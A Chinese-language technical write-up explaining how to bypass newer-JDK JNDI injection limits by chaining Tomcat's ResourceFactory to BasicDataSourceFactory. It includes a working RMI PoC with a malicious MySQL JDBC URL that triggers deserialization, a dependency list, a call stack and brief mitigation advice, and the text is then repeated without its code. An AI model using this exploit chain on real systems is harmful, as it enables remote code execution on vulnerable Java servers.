jndi +FactoryBase 实现高版本绕过
字数 1595 2025-11-21 12:48:51

JNDI + FactoryBase 高版本绕过技术分析

一、高版本JDK对JNDI注入的限制

在高版本JDK中,对JNDI注入攻击增加了重要的安全防护。具体限制体现在:

关键代码变更:
javax.naming.spi.NamingManager#decodeObject 方法中增加了一个if判断,该判断会检查reference的factory类位置是否为空。如果非空(即存在远程codebase),则会阻止后续的恶意类加载。

二、绕过原理分析

2.1 核心绕过思路

绕过高版本限制的关键在于使 Ref.GetFactoryClassLocation() 返回空值。这意味着需要让ref对象的classFactoryLocation属性为空。

  • classFactoryLocation属性作用:该属性表示引用所指向对象的对应factory名称
  • 远程代码加载:对于低版本利用,该属性为codebase(远程代码URL地址)
  • 本地代码利用:如果对应的factory是本地代码,则该值为空,这是绕过高版本限制的关键

2.2 利用条件

要成功利用需要满足以下条件:

  1. 使用本地类进行利用
  2. 该类必须是个工厂类,实现 javax.naming.spi.ObjectFactory 接口
  3. 该工厂类至少存在一个 getObjectInstance() 方法
  4. NamingManager#getObjectFactoryFromReference 中会对工厂类实例进行类型转换

三、技术实现细节

3.1 利用类选择

选择使用 FactoryBase 类及其实现类 ResourceFactory 进行利用。

ResourceFactory的getObjectInstance方法关键逻辑:

public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    if (this.isReferenceTypeSupported(obj)) {
        Reference ref = (Reference)obj;
        Object linked = this.getLinked(ref);
        
        if (linked != null) {
            return linked;
        } else {
            ObjectFactory factory = null;
            RefAddr factoryRefAddr = ref.get("factory");
            
            if (factoryRefAddr != null) {
                // 加载自定义工厂类逻辑
                String factoryClassName = factoryRefAddr.getContent().toString();
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                Class<?> factoryClass = tcl.loadClass(factoryClassName);
                factory = (ObjectFactory)factoryClass.newInstance();
            } else {
                factory = this.getDefaultFactory(ref); // 获取默认工厂
            }
            
            if (factory != null) {
                return factory.getObjectInstance(obj, name, nameCtx, environment);
            }
        }
    }
    return null;
}

3.2 工厂获取机制

getDefaultFactory 方法中:

  • 判断ClassName是否为 javax.sql.DataSource
  • 如果是,则获取 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory

3.3 BasicDataSourceFactory的关键方法

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    if (obj != null && obj instanceof Reference) {
        Reference ref = (Reference)obj;
        if (!"javax.sql.DataSource".equals(ref.getClassName())) {
            return null;
        } else {
            // 属性验证和处理逻辑
            Properties properties = new Properties();
            String[] arr$ = ALL_PROPERTIES;
            // 遍历所有属性并设置到properties中
            return createDataSource(properties); // 触发JDBC连接
        }
    } else {
        return null;
    }
}

四、环境搭建与POC构造

4.1 依赖配置

<dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.25.0-GA</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-dbcp2</artifactId>
        <version>2.12.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.89</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.89</version>
    </dependency>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.19</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

4.2 POC构造代码

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,
    "org.apache.naming.factory.ResourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));
String JDBC_URL = "jdbc:mysql://127.0.0.1:3309/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root&useSSL=false";
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("initialSize", "1"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);

五、攻击流程分析

5.1 关键步骤

  1. 初始化注册表:创建RMI注册表
  2. 构造ResourceRef:设置类名为javax.sql.DataSource,工厂类为org.apache.naming.factory.ResourceFactory
  3. 配置JDBC参数:设置驱动类名、连接URL、用户名等
  4. 绑定引用:将构造的ReferenceWrapper绑定到RMI注册表

5.2 调用栈分析

完整的调用栈为:

createDataSource:339, BasicDataSourceFactory (org.apache.tomcat.dbcp.dbcp2)
getObjectInstance:275, BasicDataSourceFactory (org.apache.tomcat.dbcp.dbcp2)
getObjectInstance:94, FactoryBase (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:14, JNDI_Test (JNDI)

六、技术要点总结

6.1 成功绕过的关键

  1. classFactoryLocation为空:使ref对象的classFactoryLocation属性为空,绕过JDK的高版本限制
  2. 利用本地工厂类:通过Tomcat内置的ResourceFactory和BasicDataSourceFactory链式调用
  3. JDBC连接触发:最终通过构造恶意JDBC连接参数触发反序列化攻击

6.2 依赖组件要求

  • Tomcat DBCP组件(提供ResourceFactory和BasicDataSourceFactory)
  • MySQL JDBC驱动(用于构造恶意连接参数)
  • 相应的依赖版本兼容性

6.3 防御建议

  1. 升级JDK到最新版本
  2. 限制不必要的JNDI查找操作
  3. 对不受信任的RMI注册表访问进行限制
  4. 监控和过滤恶意的JDBC连接参数

此技术利用了Tomcat DBCP组件中的合法功能链,通过巧妙的参数构造绕过了高版本JDK的安全限制,实现了JNDI注入攻击的再利用。

JNDI + FactoryBase 高版本绕过技术分析 一、高版本JDK对JNDI注入的限制 在高版本JDK中,对JNDI注入攻击增加了重要的安全防护。具体限制体现在: 关键代码变更: 在 javax.naming.spi.NamingManager#decodeObject 方法中增加了一个if判断,该判断会检查reference的factory类位置是否为空。如果非空(即存在远程codebase),则会阻止后续的恶意类加载。 二、绕过原理分析 2.1 核心绕过思路 绕过高版本限制的关键在于使 Ref.GetFactoryClassLocation() 返回空值。这意味着需要让ref对象的classFactoryLocation属性为空。 classFactoryLocation属性作用 :该属性表示引用所指向对象的对应factory名称 远程代码加载 :对于低版本利用,该属性为codebase(远程代码URL地址) 本地代码利用 :如果对应的factory是本地代码,则该值为空,这是绕过高版本限制的关键 2.2 利用条件 要成功利用需要满足以下条件: 使用本地类进行利用 该类必须是个工厂类,实现 javax.naming.spi.ObjectFactory 接口 该工厂类至少存在一个 getObjectInstance() 方法 在 NamingManager#getObjectFactoryFromReference 中会对工厂类实例进行类型转换 三、技术实现细节 3.1 利用类选择 选择使用 FactoryBase 类及其实现类 ResourceFactory 进行利用。 ResourceFactory的getObjectInstance方法关键逻辑: 3.2 工厂获取机制 在 getDefaultFactory 方法中: 判断ClassName是否为 javax.sql.DataSource 如果是,则获取 org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory 3.3 BasicDataSourceFactory的关键方法 四、环境搭建与POC构造 4.1 依赖配置 4.2 POC构造代码 五、攻击流程分析 5.1 关键步骤 初始化注册表 :创建RMI注册表 构造ResourceRef :设置类名为javax.sql.DataSource,工厂类为org.apache.naming.factory.ResourceFactory 配置JDBC参数 :设置驱动类名、连接URL、用户名等 绑定引用 :将构造的ReferenceWrapper绑定到RMI注册表 5.2 调用栈分析 完整的调用栈为: 六、技术要点总结 6.1 成功绕过的关键 classFactoryLocation为空 :使ref对象的classFactoryLocation属性为空,绕过JDK的高版本限制 利用本地工厂类 :通过Tomcat内置的ResourceFactory和BasicDataSourceFactory链式调用 JDBC连接触发 :最终通过构造恶意JDBC连接参数触发反序列化攻击 6.2 依赖组件要求 Tomcat DBCP组件(提供ResourceFactory和BasicDataSourceFactory) MySQL JDBC驱动(用于构造恶意连接参数) 相应的依赖版本兼容性 6.3 防御建议 升级JDK到最新版本 限制不必要的JNDI查找操作 对不受信任的RMI注册表访问进行限制 监控和过滤恶意的JDBC连接参数 此技术利用了Tomcat DBCP组件中的合法功能链,通过巧妙的参数构造绕过了高版本JDK的安全限制,实现了JNDI注入攻击的再利用。